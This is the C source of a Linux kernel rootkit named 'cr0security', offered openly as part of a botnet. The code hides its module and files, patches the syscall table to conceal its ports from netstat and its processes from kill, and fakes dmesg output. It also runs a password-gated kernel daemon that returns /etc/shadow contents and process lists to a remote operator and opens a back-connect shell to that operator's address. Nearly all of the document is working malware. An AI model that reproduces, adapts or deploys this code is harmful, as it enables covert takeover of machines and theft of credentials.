/*
 * cr0security kernel space rootkit version 1.0
 * (c) Copyright by Cr0security All Rights Reserved
 * http://www.cr0security.com
 * 
 * this rootkit just a module of current botnet development (cr0security's botnet)
 *  features:
 *  - kernel space daemon :
 *      ~ check who's on the box remotely
 *      ~ view /etc/shadow remotely
 *      ~ on demand back connect
 *     ~ checking process remotely
 * - hiding files and directory
 * - hiding from netstat
 * - anti kill process
 * - prevent open, rm, rmmod, fake view
 * - hiding module
 *  Tested on : 
 * 	- linux 2.6.18-238.19.1.el5PAE  - SMP - i686  (CentOS)
 *	- linux 2.6.32-279.2.1.el6.i686 (CentOS)
 *	- linux-3.3-rc6 - i686 (Debian) 
 *	- linux-2.6.35-22-generic - i686 (Debian)
 *	- linux-2.6.27.1 - i686 (Debian) 
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 *
 */
#include <linux/highmem.h>
#include <linux/delay.h>
#include <linux/syscalls.h>
#include <linux/module.h>
#include <linux/string.h>
#include <linux/moduleparam.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/version.h>
#ifdef CONFIG_SMP
#if(LINUX_VERSION_CODE <  KERNEL_VERSION(3,0,0))
#include <linux/smp_lock.h>
#endif
#endif
#if(LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,33))
#include <generated/autoconf.h>
#else
#include <linux/autoconf.h>
#endif
#include <linux/sched.h>
#include <linux/unistd.h>
#include <linux/linkage.h>
#include <linux/types.h>
#include <linux/fcntl.h>
#include <net/sock.h>
#include <linux/in.h>
#include <linux/kthread.h>
#include <linux/vmalloc.h>
#include <linux/ctype.h>
#include "cr0security.h"

static inline void cr0security cr_sendmsg(cr0sock master_sock,char *msg_to_send,char *alternate_msg)
{
	cr0 filpo = 0;
	
	KERN
	if (strstr(msg_to_send,"cr0sec")) {
		log_path_buf3 = kmalloc(1012,GFP_KERNEL);
		log_path_buf3 = crflp_open(unknown_buffer);
		sockbuffer = kmalloc(1012,GFP_KERNEL);	
		Length6 = sprintf(sockbuffer, log_path_buf3);
	}
	else {
		sockbuffer = kmalloc(300,GFP_KERNEL);	
		if (executed == 0)
			Length6 = sprintf(sockbuffer,msg_to_send);
		else
			Length6 = sprintf(sockbuffer,alternate_msg);
	}
	cr_send(master_sock,sockbuffer,Length6);
	kfree(sockbuffer);
	if (filpo == 1) 
		kfree(log_path_buf3);
	END
}

static inline char *crinst(cr0 nomer)
{
	sprintf(hasil_konversi,"%d",nomer);
	return hasil_konversi;
}

inline unsigned long cr0security *cr_repop(void *cr0_argumen)
{
	cr0_heap = kmalloc(256,GFP_KERNEL);
	KERN
	r1m = copy_from_user(cr0_heap,cr0_argumen,255);
	END
	if ((strstr(cr0_heap,cr_PROC)) || (strstr(cr0_heap,"sbin")) || (strstr(cr0_heap,cr_cocoa))  || (strstr(cr0_heap,cr_panda))) 
		cr0_stat = TRUE;
	else  
		cr0_stat = FALSE;
	kfree(cr0_heap);
	if (cr0_stat == TRUE) 	
		 retback_val =   (unsigned long *) (-ENOENT);
	return retback_val;
}

static inline cr0 cr0security resumer(cr0sock master_sock,struct sockaddr_in master_addr)
{
	cr0 panjang_cr_failed_epic = strlen(cr_failed_epic);
	
	KERN
	sockbuffer = kmalloc((panjang_cr_failed_epic+1),GFP_KERNEL);
	Length4 = sprintf(sockbuffer, "%s",cr_failed_epic);
	cr_send(master_sock,sockbuffer,Length4);
	kfree(sockbuffer);
	END
	return 0;
}	

static inline void cr0security userspace_elf(char *cmd)
{
	cr0 ret = 0;
	char *argv[] = {myprocessor,cmd,NULL}; 	
	char *envp[] = {"HOME=/","PATH=/sbin:/usr/sbin:/bin:/usr/bin",0};
	
	KERN
	ret = call_usermodehelper(myprocessor, argv,envp, 0);
	END
}

static inline cr0 cr0security umhbcs(char *ipx)
{
	cr0 ret = 0;
	char *argv[] = {myprocessor,"bcs",ipx, NULL};
	char *envp[] = {"HOME=/", "PATH=/sbin:/usr/sbin:/bin:/usr/bin", 0};
	
	KERN
	ret = call_usermodehelper(myprocessor, argv, envp, 0);
	END
	return ret;
}

static inline ssize_t cr0security cr_recvmsg(cr0sock master_sock, void *cr0_buffer, size_t Length3)
{
	h4x0rmsg msg;
	ssize_t retme;
	
	KERN
	msg.msg_name = 0;
	msg.msg_namelen = 0;
	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;
	msg.msg_control = NULL;
	msg.msg_controllen = 0;
	msg.msg_flags = MSG_NOSIGNAL;
	iov.iov_base = (char*) cr0_buffer; 
	iov.iov_len =  Length3; 
	retme = sock_recvmsg(master_sock, &msg, Length3, 0);
	END
	return retme;
}

static cr0 cr0security crdaemon(cr0sock master_sock,struct sockaddr_in master_addr)
{
	cr0 panjang_cr_console = strlen(cr_console);
	cr0 cr0_executed = 0;
	cr0 executed = 1;
	cr0 panjang_cr_motd = strlen(cr_motd);
	
	repeated_oops:
	switch (cr0_executed) {
		case 0:
		sockbuffer = kmalloc((panjang_cr_motd+1),GFP_KERNEL);	
		Length4 = sprintf(sockbuffer, "%s",cr_motd);
		KERN
		cr_send(master_sock,sockbuffer,Length4);
		END
		kfree(sockbuffer);	
		break;
		case 1:
		sockbuffer = kmalloc((panjang_cr_console+1),GFP_KERNEL);	
		Length4 = sprintf(sockbuffer, "%s",cr_console);
		KERN
		cr_send(master_sock,sockbuffer,Length4);
		END
		kfree(sockbuffer);	
		break;
		case 2:
		return -1;
		break;
	}
	while (1)  {		
			char cmd[70] = "";
			Length5 = 0;
			sockbuffer_cmd = kmalloc(70,GFP_KERNEL);
			KERN
			Length5 = cr_recvmsg(master_sock, sockbuffer_cmd, sizeof(sockbuffer_cmd));
			END
			if (Length5 > 0) {
				KERN
				snprintf(predict_buffer,70,"%s",sockbuffer_cmd);
				for (i = 0;i < 68;i++) {
					validchar = 0;
					for (j = 0;j < 66;j++) {
						if((int)predict_buffer[i] == (int)valid_char[j]) 
							validchar = 1;
					}
					if(validchar == 1) 
						cmd[i] = predict_buffer[i];
				}
				END
			}
			kfree(sockbuffer_cmd);
			if ((strlen(cmd) > 2)) {
				if ((strcmp(cmd,"exit") == 0) || (strstr(cmd,"ex"))) 
					 cr0_executed = 2;
				else {	
					executed = 0;
					printk("\ngot cmd : [%s]\n",cmd); 	
					if((strcmp(cmd,"shd") == 0) || (strstr(cmd,"sh"))) {
						KERN
						userspace_elf("shd");
						cr_sendmsg(master_sock,successfull_msg,failure);	
					        END
						cr0_executed = 1;						    
					}		
					else if ((strcmp(cmd,"who") == 0) || (strstr(cmd,"wh"))) {
					        KERN
						userspace_elf("who");
						cr_sendmsg(master_sock,successfull_msg,failure);	
						END
						cr0_executed = 1;		
					}	
					else if ((strcmp(cmd,"psa") == 0) || (strstr(cmd,"ps"))) {
						userspace_elf("psa");
						cr_sendmsg(master_sock,successfull_msg,failure);	
						END
						cr0_executed = 1;	
					}		
					else if ((strstr(cmd,"pr")) || (strcmp(cmd,"prt") == 0)) {
					        KERN
						cr_sendmsg(master_sock,"cr0security","cr0security");	
						END
						cr0_executed = 1;		
					}		
					else if ((strcmp(cmd,"bcs") == 0) || (strstr(cmd,"bc"))) {
						master_ip = kmalloc(16,GFP_KERNEL);
						KERN
						master_ip = inet_ntoa(&master_addr.sin_addr);
						executed = umhbcs(master_ip);
						sockbuffer = kmalloc(100,GFP_KERNEL);	
						Length6 = sprintf(sockbuffer, "\nback connect to [%s]\n",master_ip);
						cr_send(master_sock,sockbuffer,Length6);
						kfree(sockbuffer);	
						kfree(master_ip);
					    	END
					        cr0_executed = 1;	
					}
					else {
						KERN
						sockbuffer = kmalloc((panjang_cr_motd+1),GFP_KERNEL);	
						Length4 = sprintf(sockbuffer, "%s",cr_motd);
						cr_send(master_sock,sockbuffer,Length4);
						kfree(sockbuffer);	
						END
						cr0_executed = 1;
					}
				}
			}
			goto repeated_oops;
	}		
	return 0;
}

static inline char cr0security *crflp_open(char *unknown_buffer)
{
	char buf[1012]; 
	cr0 konter;
	
	char_array = 0;
	unknown_buffer = kmalloc(1012, GFP_KERNEL);
	tmpcharbuf = kmalloc(1, GFP_KERNEL);
	KERN
	raidon = filp_open(log_path, O_RDONLY, 0);
	sprintf(unknown_buffer, "\n");
	if(IS_ERR(raidon))
		sprintf(unknown_buffer,"\nfailed to execute your command sorry\n");
        else {
		konter = 0;
		memset(buf, 0x0, 1012);
		pointer = buf;
		/* extern ssize_t vfs_read(struct file *, char __user *, size_t, loff_t *); */
		while ((vfs_read(raidon, pointer + char_array, 1, &raidon->f_pos) == 1) && (konter < 1007)) {
			konter++;  
			if (pointer[char_array] == '\n' || char_array > 255)  
				sprintf(tmpcharbuf, "%c", pointer[char_array]);
			else {
				sprintf(tmpcharbuf, "%c", pointer[char_array]);
				char_array = 0;
			}		
			strcat(unknown_buffer, tmpcharbuf);
			memset(buf, 0x0, 1012);
			char_array++;		
		}		
	}
	filp_close(raidon,NULL);
	END
	kfree(tmpcharbuf);
	return unknown_buffer;
	kfree(unknown_buffer);
}

static inline void cr0security cr(void)
{
	unsigned long value;
	
	asm volatile("mov %%cr0,%0" : "=r" (value));
	if (value & 0x10000) {
		value &= ~0x00010000;
		asm volatile("mov %0,%%cr0": : "r" (value));
	}
	else   
		write_cr0 (read_cr0 () | 0x10000);
}

static cr0 cr0security init_cr_this_mod(void *arg)
{
	cr0sock server_sock,master_sock;
	struct sockaddr_in server_addr;
	struct sockaddr_in master_addr;
	cr0 retme, my_sockaddr_len, master_sockaddr_len;
	
	repeat_socket:
	already = FALSE;
	allow_signal(SIGKILL);
	master_sock = NULL;
	server_sock = NULL;
	KERN
	memset(&master_addr,0,sizeof(master_addr));
	memset(&server_addr,0,sizeof(server_addr));
	server_addr.sin_family = PF_INET;
	server_addr.sin_port = htons(int_cr_kern_port);
	server_addr.sin_addr.s_addr = htonl(INADDR_ANY);
	my_sockaddr_len = sizeof(struct sockaddr_in);
	master_sockaddr_len = sizeof(struct sockaddr_in);
	result = sock_create(PF_INET, SOCK_STREAM, 0, &server_sock);
	if(result < 0) 
		return -1;
	if (server_sock==NULL) 
		return -1;
	bind = server_sock->ops->bind(server_sock, (struct sockaddr *) &server_addr, my_sockaddr_len);
	if (bind < 0)  
		return -1;
	listen = server_sock->ops->listen(server_sock,SOMAXCONN);
	if (listen < 0)
		return -1;
	KERN
	master_sock = (struct socket *)server_sock;
	retme = sock_create(server_sock->sk->sk_family, server_sock->type,server_sock->sk->sk_protocol, &master_sock);
	master_sock->type = server_sock->type;
	master_sock->ops = server_sock->ops;
	retme = server_sock->ops->accept(server_sock, master_sock, 0);
	if ((retme < 0) || (master_sock ==NULL))
		return -1;
	else	
		retme = master_sock->ops->getname(master_sock,( struct sockaddr *)&master_addr, &my_sockaddr_len, 2);
	if (master_sock == NULL) 
		return -1;
	Length = sprintf(cr0_buffer, "%s",the_pass);
	cr_send(master_sock, cr0_buffer, Length);
	END
	while ((1) && (already == FALSE)) {
		sockbuffer = kmalloc(256,GFP_KERNEL);
		KERN
		Length2 = cr_recvmsg(master_sock, sockbuffer, sizeof(sockbuffer));
		END
		if (Length2 > 0) {
			KERN
			panjang = strlen(password) - 1;
			clean_buffer = kmalloc(panjang,GFP_KERNEL);
			orig_len = panjang;
			clean_buffer = crtruncate(sockbuffer,panjang);
			total_pass = panjang + 10;
			mypassword = kmalloc(total_pass,GFP_KERNEL);
			sprintf(mypassword,"%s%s%s",password,null_terminate,null_terminate);
			END
			if(strstr(mypassword,clean_buffer)) {
				kfree(sockbuffer);
				kfree(mypassword);
				kfree(clean_buffer);
				goto letmein;
			}
			else {
				kfree(sockbuffer);	
				kfree(mypassword);
				kfree(clean_buffer);
				goto wrongway;
			}
		}
		kfree(sockbuffer);
	}
	wrongway:
	resumer(master_sock,master_addr);
	if (master_sock != NULL)   
		sock_release(master_sock);
	if (server_sock != NULL)  
		sock_release(server_sock);
	goto repeat_socket;
	letmein:
	gmon_ops_return =  crdaemon(master_sock,master_addr);
	if (master_sock != NULL)  
		sock_release(master_sock);
	if (server_sock != NULL) 
		sock_release(server_sock);
	goto repeat_socket;
//do {} while(!kthread_should_stop());
return 0;	
}

/*
static char* cr0_substring(const char str[6],cr0 len_original_string,cr0 length_from_last)
{
char *ret_string_val;
cr0 i;
cr0 sisha;
printk("\nexecuting cr0_substring\n");
ret_string_val=(char*)kmalloc((cr0)(length_from_last),GFP_KERNEL);
sisha=len_original_string-length_from_last;	
for (i=len_original_string;i>sisha;i--) {
	printk("\ngot i : [%d]\n",i);
	printk("\ngot char val: %c\n",str[i]);
	}
i--;
printk("\ngot i : [%d]\n",i);
printk("\ngot char val: %c\n",str[i]);
return (char*)(ret_string_val);	
}
*/

static inline char* cr0security crtruncate(const char* str,cr0 len)
{
	char *str2;
	
	str2 = kmalloc((cr0)(len),GFP_KERNEL);
	if (strlen(str) == 0)  
		return (char*)(str);
	else {
		snprintf(str2,len,"%s",str);
		return (char*)(str2);
	}
      kfree(str2);
}

static inline char* cr0security replace_string(char *full_str,char *old_str, char *new_str)
{
	static char buffer[4096];
	char *p;
	
	if(!(p = strstr(full_str, old_str)))  
		return full_str;
	strncpy(buffer, full_str, p-full_str); 
	buffer[p-full_str] = '\0';
	sprintf(buffer+(p-full_str), "%s%s", new_str, p+strlen(old_str));
	return buffer;
}


static inline size_t cr0security cr_send(cr0sock master_sock, const char *Buffer, size_t Length)
{
	h4x0rmsg msg;
	
	KERN
	msg.msg_name = 0;
	msg.msg_namelen = 0;
	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;
	msg.msg_control = NULL;
	msg.msg_controllen = 0;
	msg.msg_flags = MSG_NOSIGNAL;
	iov.iov_base = (char*) Buffer;
	iov.iov_len = Length;
	len2 = sock_sendmsg(master_sock,&msg,(size_t)(Length));
	END
	return len2;
}

/*inet_ntoa function taken from ksocket by @song.xian-guang@hotmail.com */
inline char *inet_ntoa(struct in_addr *in)
{
	char* str_ip = NULL;
	u_int32_t int_ip = 0;
	
	KERN
	str_ip = kmalloc(16 * sizeof(char), GFP_KERNEL);
	if (!str_ip) 
		return NULL;
	else 
		memset(str_ip, 0, 16);
	int_ip = in->s_addr;
	sprintf(str_ip, "%d.%d.%d.%d",  (int_ip ) & 0xFF,(int_ip >> 8 ) & 0xFF,(int_ip >> 16) & 0xFF,(int_ip >> 24) & 0xFF);
	return str_ip;
	kfree(str_ip);
	END
}
/*eof ksocket's inet_ntoa*/

/*
brute forcing method to find sys_call_table ( Sorry, not for SMP )
modified for SMP from http://www.gadgetweb.de/linux/40-how-to-hijacking-the-syscall-table-on-latest-26x-kernel-systems.html
*/

unsigned long **find_sys_call_table(void) 
{
	unsigned long ptr;
	unsigned long **sctable;
	
	sctable = NULL;
	ptr = 0;
#ifdef CONFIG_SMP
	goto not_for_smp;
#else
	for (ptr = (unsigned long)&_unlock_kernel; ptr < (unsigned long)&loops_per_jiffy;ptr += sizeof(void *)) {
		unsigned long *p;
		p = (unsigned long *)ptr;
		if (p[__NR_close] == (unsigned long) sys_close) {
			sctable = (unsigned long **)p;
			return &sctable[0];
		}
	}
#endif
	not_for_smp:
	return NULL;
}

inline static asmlinkage unsigned long cr0security *cr_open(const char __user *filename,cr0 flags, cr0 mode)
{
	found=FALSE;
	tmpbuf = kmalloc(256,GFP_KERNEL);
	KERN
	r1m = copy_from_user(tmpbuf,filename,255); 
	END
	for (konter=0;konter < 7;konter++) {
		if (strstr(tmpbuf,forbidden_files_to_read[konter]))
			found=TRUE;
	}	   
	if (found == TRUE) 
		return (unsigned long *) (-ENOENT);	
	else
		return (unsigned long *) (open_asli) (filename,flags,mode);
	kfree(tmpbuf);
}

inline static asmlinkage unsigned long cr0security *cr_chdir(const char __user *filename)
{
	KERN
	cr0_stat = FALSE;
	cr_repop((void *)filename);
	if (cr0_stat == FALSE)
		retback_val =  (unsigned long *) (chdir_asli) (filename);
	END
	return retback_val;
}

inline static asmlinkage unsigned long cr0security *cr_rmdir(const char __user *pathname)
{
	cr0_stat = FALSE;
	cr_repop((void *)pathname);
	if (cr0_stat == FALSE)
		retback_val =  (unsigned long *) (rmdir_asli) (pathname);
	return retback_val;
}

inline static asmlinkage unsigned long cr0security *cr_rename(const char __user *oldname,const char __user *newname)
{
	rename_found = FALSE;
	rename_oldname = kmalloc(256,GFP_KERNEL);
	KERN
	r1m = copy_from_user(rename_oldname,oldname,255);
	END 	
	if ((strstr(rename_oldname,"cr0security")) || (strstr(rename_oldname,"sbin")))
		rename_found = TRUE;
	else {
		for (rename_konter = 0;rename_konter < 10;rename_konter++) {
			if (strstr(rename_oldname,forbidden_files_to_read[rename_konter]))
				rename_found = TRUE;
		}
	}	
	if (rename_found == TRUE)
		return (unsigned long *) (-ENOENT);		
	else
		return (unsigned long *) (rename_asli) (oldname,newname);
	kfree(rename_oldname);	
}

inline static asmlinkage unsigned long cr0security *cr_write(unsigned int fd, const char __user *buf,size_t count)
{
	status=7777;
	do_fake = FALSE;
	/*block grep*/
	kern_heap2 = kmalloc(count, GFP_KERNEL);
	r4m =  copy_from_user(kern_heap2, buf, count);
	if ((strstr(kern_heap2,cr_PROC))) {
		printk ("\nr4m found cr0security on buffer\n");
	}
	kfree(kern_heap2);
	if ((strstr(current->comm,"netstat")) || (strstr(current->comm,"|")) || (strstr(current->comm,"stat")) || (strstr(current->comm,"ss")) || (strstr(current->comm,"ip 
")) || (strstr(current->comm,"cat")) || (strstr(current->comm,"pic")) || (strstr(current->comm,"more")) || (strstr(current->comm,"head")))  {
		buf_modified = kmalloc(count,GFP_KERNEL);
		kern_heap = kmalloc(count,GFP_KERNEL);
		KERN
		r1m = copy_from_user(kern_heap,buf,count);
		END
		if (strstr(kern_heap,cr_PORT)) {
			KERN
			buf_modified = (const char __user*)crrepinval(kern_heap,buf,1);
			END
		}
		else if (strstr(kern_heap,string_cr_kern_port)) {
			KERN
			buf_modified = (const char __user*)crrepinval(kern_heap,buf,2);
			END
		}
		else if (strstr(kern_heap,cr_backconnect_PORT)) {
			KERN
			buf_modified = (const char __user*)crrepinval(kern_heap,buf,6);
			END
			}
			else if (strstr(kern_heap,cr_backconnect_PORT_HEX)) {
				KERN
				buf_modified = (const char __user*)crrepinval(kern_heap,buf,5);
				END
			}
			else if (strstr(kern_heap,cr_PORT_HEX)) {
				KERN
				buf_modified = (const char __user*)crrepinval(kern_heap,buf,3);
				END
			}
			else if (strstr(kern_heap,cr_kern_PORT_HEX)) {
				KERN
				buf_modified = (const char __user*)crrepinval(kern_heap,buf,4);
				END
			}
			kfree(kern_heap);
			if (do_fake == TRUE) {
				count = (size_t) panjang_fake_net;
				return  (unsigned long *) (write_asli) (fd, buf, count);
			}
			else if (do_fake_hex == TRUE) {
				count = (size_t) panjang_fake_net_hex;
				return (unsigned long *) (write_asli) (fd,buf,count);
			}
			else
				return  (unsigned long *) (write_asli) (fd, buf, count);
	}
	else if (strstr(current->comm,"dmesg")) {
		KERN
		ev1l_dmesg = filp_open(our_dmesg_path,O_RDONLY,0);
		END
		if (IS_ERR(ev1l_dmesg))
			goto close;
		else {
			dmesg_buffer = kmalloc(dmesg_size,GFP_KERNEL); 
			KERN
			ev1l_dmesg->f_op->read(ev1l_dmesg,dmesg_buffer,dmesg_size, &ev1l_dmesg->f_pos);
			r1m = copy_to_user((void*)buf,dmesg_buffer,dmesg_size);
			END
			count = dmesg_size;
			kfree(dmesg_buffer);
		}
		close:
		filp_close(ev1l_dmesg,NULL);
		return (unsigned long *) (write_asli) (fd,buf,count);
	}
	else {
		if ((strstr(buf,cr_PROC))) {
			char *kbuf = kmalloc(count,GFP_KERNEL);
			KERN      
			r1m = copy_from_user(kbuf,buf,count);
			END
			for (konter = 0;konter < 11;konter++) {
				KERN   
				if (strstr(current->comm,cmd_pawned_cmd[konter])) {
					if (strstr(kbuf,cr_PROC))
						status = 0;  
				}
				END
				crinst(cr_PID);
				KERN
				if ((strstr(current->comm,"pmap")) && (strstr(current->comm,hasil_konversi)) && (strstr(current->comm,"stat")))
					status = 2;
				END 
				if (konter2 < 7) {
					if (strstr(kbuf,hijacked_syscall[konter2]))
						status = 0;  
				}   
			}
		kfree(kbuf);
		}   
		switch (status) {
			case 0:
			k_m_a_l_l_o_c__b_u_f_f_e_r = kmalloc(256,GFP_KERNEL);
			memset(k_m_a_l_l_o_c__b_u_f_f_e_r, 0,255);
			KERN
			r1m = copy_to_user((void *)buf,k_m_a_l_l_o_c__b_u_f_f_e_r,255);
			END
			kfree(k_m_a_l_l_o_c__b_u_f_f_e_r); 
			retback_val = (unsigned long *) (write_asli) (fd,buf,count);
			case 2:
			retback_val =  (unsigned long *) (-ESRCH);
			break;
			case 7777:
			retback_val =  (unsigned long *) (write_asli) (fd, buf, count);
	    }
	    return retback_val;	
	}
}

static inline char cr0security *crrepinval(char *kern_heap,const char __user *buf,cr0 ev1lmode)
{
	if ((ev1lmode==1) || (ev1lmode==2) || (ev1lmode==6)) {
		panjang_fake_net = strlen(kern_heap);
		fake_net = vmalloc(panjang_fake_net);
		vmalloc_buffer = vmalloc(panjang_fake_net);
	}
	else {
		panjang_fake_net_hex = strlen(kern_heap);
		fake_net_hex = vmalloc(panjang_fake_net_hex);
		vmalloc_buffer = vmalloc(panjang_fake_net_hex);
	}
	switch (ev1lmode) {
		case 1:
		panjang_fake_net = strlen(kern_heap);
		fake_net = replace_string(kern_heap,cr_PORT,"*   ");
		break;
		case 2:
		panjang_fake_net = strlen(kern_heap);
		fake_net = replace_string(kern_heap,string_cr_kern_port,"*   ");		
		break;
		case 3:
		panjang_fake_net_hex = strlen(kern_heap);
		fake_net_hex = replace_string(kern_heap,cr_PORT_HEX,"0000");
		break;
		case 4:
		panjang_fake_net_hex = strlen(kern_heap);
		fake_net_hex = replace_string(kern_heap,cr_kern_PORT_HEX,"0000");
		break;
		case 5:
		panjang_fake_net_hex = strlen(kern_heap);
		fake_net_hex = replace_string(kern_heap,cr_backconnect_PORT_HEX,"0000");
		break;
		case 6:
		panjang_fake_net = strlen(kern_heap);
		fake_net = replace_string(kern_heap,cr_backconnect_PORT,"*   ");		
		break;
	}
	KERN
	if ((ev1lmode == 1) || (ev1lmode == 2) || (ev1lmode == 6)) {
		memcpy(vmalloc_buffer,fake_net,panjang_fake_net);
		r1m = copy_to_user((void*)buf,vmalloc_buffer,panjang_fake_net);
		vfree(fake_net);
	}
	else {
		memcpy(vmalloc_buffer,fake_net_hex,panjang_fake_net_hex);
		r1m = copy_to_user((void*)buf,vmalloc_buffer,panjang_fake_net_hex);
		vfree(fake_net_hex);
	}
	END
	vfree(vmalloc_buffer);
	return (char*)buf;
}

inline static asmlinkage unsigned long cr0security *cr_unlink(const char __user *pathname)
{
	cr0_stat = FALSE;
	cr_repop((void *)pathname);
	if (cr0_stat == FALSE)
		retback_val =  (unsigned long *) (*unlink_asli)(pathname);
	return retback_val;
}

#if(LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,18))
inline static asmlinkage unsigned long cr0security *cr_unlinkat(cr0 dfd, const char __user * pathname, cr0 flag)
{
	cr0_stat = FALSE;
	cr_repop((void *)pathname);
	if (cr0_stat == FALSE)
		retback_val =  (unsigned long *) (*unlinkat_asli)(dfd,pathname,flag);
	return retback_val;
}
#endif

inline static asmlinkage unsigned long cr0security *cr_kill(cr0 pid, cr0 sig)
{
	if ((should_i_disable_sys_kill > 0)) {
		crinst(pid);
		totheap = 6 + sizeof(hasil_konversi) + 8;
		file_buf = kmalloc(200,GFP_KERNEL);
		lemme_lemme_maho = kmalloc(totheap,GFP_KERNEL);
		sprintf(lemme_lemme_maho,"/proc/%s/cmdline",hasil_konversi);
	        KERN
		ev1l_proc = filp_open(lemme_lemme_maho,O_RDONLY,0);
	        END
		if (IS_ERR(ev1l_proc)) 
			goto closeme;	 
		else {
			KERN
			ev1l_proc->f_op->read(ev1l_proc, file_buf,50, &ev1l_proc->f_pos);
			END 
			if (strstr(file_buf,cr_PROC))
				return (unsigned long *) (-ESRCH);
			else
				return (unsigned long *) (*kill_asli)(pid,sig);
		}
	 closeme:
	 filp_close(ev1l_proc,NULL);
	 kfree(file_buf);
	 kfree(lemme_lemme_maho);
	}
	return (unsigned long *) (*kill_asli)(pid,sig);
}

/*init module for cr0security*/
static cr0 cr0security cr_start(void)
{
	list_del (&THIS_MODULE->list);
	try_module_get(THIS_MODULE);
	cr();
	KERN
	if (proto_sys_call == invalid) {
		proto_sys_call = (void *) *find_sys_call_table();
	}	
	END
	
#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,18))
	unlinkat_asli=(void *) (proto_sys_call[__NR_unlinkat]);	
#endif
	kill_asli = (void *) (proto_sys_call[__NR_kill]);	
	write_asli = (void *) (proto_sys_call[__NR_write]);	
	open_asli = (void *) (proto_sys_call[__NR_open]);	
	unlink_asli = (void *) (proto_sys_call[__NR_unlink]);	
	rename_asli = (void *) (proto_sys_call[__NR_rename]);
	rmdir_asli = (void *)	(proto_sys_call[__NR_rmdir]);
	chdir_asli= (void *) (proto_sys_call[__NR_chdir]);
	proto_sys_call[__NR_kill] = (unsigned long) *(cr_kill);
	proto_sys_call[__NR_open] = (unsigned long) *(cr_open);	
	proto_sys_call[__NR_unlink] = (unsigned long) *(cr_unlink);
	proto_sys_call[__NR_rmdir] = (unsigned long) *(cr_rmdir);
	proto_sys_call[__NR_rename] = (unsigned long) *(cr_rename);	
	proto_sys_call[__NR_chdir] = (unsigned long) *(cr_chdir);
#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,18))	
	proto_sys_call[__NR_unlinkat] = (unsigned long) *(cr_unlinkat);
#endif
	proto_sys_call[__NR_write] = (unsigned long)  *(cr_write);
	cr();
	KERN
	kernel_thread(init_cr_this_mod,NULL,0);
//tcpd_thread=kthread_run(init_cr_this_mod,NULL,"init cr0 tcpd");
	END
	return 0;
}

/*eof init module for cr0security*/
static void cr0security cr_end(void)
{
	printk("\nlet me end\n");
	cr();
	proto_sys_call[__NR_rmdir] = (unsigned long) *(rmdir_asli);
	proto_sys_call[__NR_rename] = (unsigned long) *(rename_asli);
	proto_sys_call[__NR_kill]  = (unsigned long)  *(kill_asli);
	proto_sys_call[__NR_write] = (unsigned long) *(write_asli);
	proto_sys_call[__NR_open] = (unsigned long) *(open_asli);
	proto_sys_call[__NR_unlink] = (unsigned long) *(unlink_asli);
	proto_sys_call[__NR_chdir] = (unsigned long) *(chdir_asli);	
#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,18))	
	proto_sys_call[__NR_unlinkat] = (unsigned long) *(unlinkat_asli);
#endif	
	cr();
//kthread_stop(tcpd_thread);
}

module_init(cr_start);
module_exit(cr_end);
MODULE_AUTHOR("cr0security.com");
MODULE_LICENSE("GPL");